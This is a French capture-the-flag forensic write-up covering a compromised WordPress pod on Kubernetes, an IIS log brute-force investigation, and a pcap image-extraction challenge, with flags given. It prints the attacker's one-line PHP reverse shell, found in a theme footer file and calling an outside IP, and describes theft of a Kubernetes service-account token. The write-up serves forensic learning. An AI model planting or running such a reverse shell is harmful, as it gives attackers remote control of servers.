Intruder, GameKube & Compromising - Forensic | EsaipCTF WU

Table des matières :


Gamekube

Un serveur wordpress host sur un cluster kubernetes a été compromis, nous cherchons à comprendre ce qu’il se passe. Pour cela, nous possédons une partie du serveur, ainsi que les logs du wordpress pod.

Suite à l’analyse des logs, nous remarquons la présence du plugin Essential Addons for Elementor, très récemment vulnérable à une élévation de privilège non authentifié CVE-2023-32243

Nous cherchons le fichier changé de façon à compromettre la machine:

for file in $(ls); do strings -a "${file}" | sed 's/^/'"${file}"':/g'; done | grep -rn 'exec' > ../result.txt

Ce one liner itère sur tous les fichiers du path /bitmani/wordpress/wp-content, extrait les strings de chaque fichier, ajoute le nom du fichier match à chaque ligne, recherche les lignes contenant la string 'exec', et enregistre les résultats dans un fichier appelé result.txt.

Nous trouvons dans themes/twentytwentythree/patterns/footer-default.php à la ligne 16 un reverse shell ;)

<?php $s=fsockopen("83.8.221.36",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>

Pour finir, après observation nous trouvons le path du secret kubernetes dans /run/secrets/kubernetes.io/serviceaccount, et un .bash_history.
Nous comprenons que le que l’attaquant à de ce fait, récupérer le token kubernetes

Flag: CVE-2023-32243:footer-default.php:/var/run/secrets/kubernetes.io/serviceaccount/token

Find the Intruder 1/2

Nous cherchons l’user-agent d’un l’attaquant, ainsi que l’attaque utilisé. Pour cela, nous avons un fichier de logs IIS (logs windows server), ainsi qu’une base de donnée contenant des users et des details de connexion.

Après analyse, nous repérons un nombre répété de requête effectuées sur le /login du site en question, nous récupérons l’IP et nous déduisons logiquement qu’il s’agit d’un bruteforce.

Flag: ECTF{Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:101.0)+Gecko/20100101+Firefox/101.0:bruteforce}

Find the Intruder 2/2

Nous cherchons dorénavant l’adresse email relative à l’utilisateur aillant compromis le serveur. Suite à la réalisation de la première step, nous obtenons l’IP relative à l’user-agent : 166.199.121.250

Après observation de la base de donnée, nous obtenons deux tables:

Dans la table contenant les logs de connections, nous obtenons l’ID relative à l’IP:

En regardant dans la table users, nous récupérons le mail de l’user relatif à l’ID

Flag: ECTF{[email protected]}
(first blood ouhouh)

Compromising Pictures 1/2

Nous récupérons un .pcapng afin d’intercepter un échange relatif à des photos compromettantes.

Après analyse rapide observation des requêtes HTTP, nous décidons d’exporter celles-ci. Pour cela, dans wireshark: Fichier>Exporter Objets>HTTP

Nous observons tout un tas d’images relative aux requêtes HTTP

Une particulière nous intéresse car elle se nomme notsuspicious.jpeg. Nous observons après rapide analyse de celle-ci qu’elle contient un password: tzrfdrizf ainsi que trois documents: itsmemario.jpg, meetingplace.jpg et readme

On extrait tout simplement l’image avec binwalk-e, puis on récupère un zip que nous essayons d’extraire.

Celui-ci est chiffré, un password est demandé mais celui fournis dans les strings de l’image ne passe pas. Un simple ROT nous donne la bonne string: ciaomario

On cat simplement le readme, et on obtient le flag ;)

Flag: ECTF{iTs_ALMo5t_tH3_END_of_m@rIo}

Remerciements ♡˚。˚✩

Un grand merci aux Rhackgondins pour leurs challenges et leur magnifique infrastructure, à l’ESAIP et à EGO+.

Special thanks à @FeelProud ;)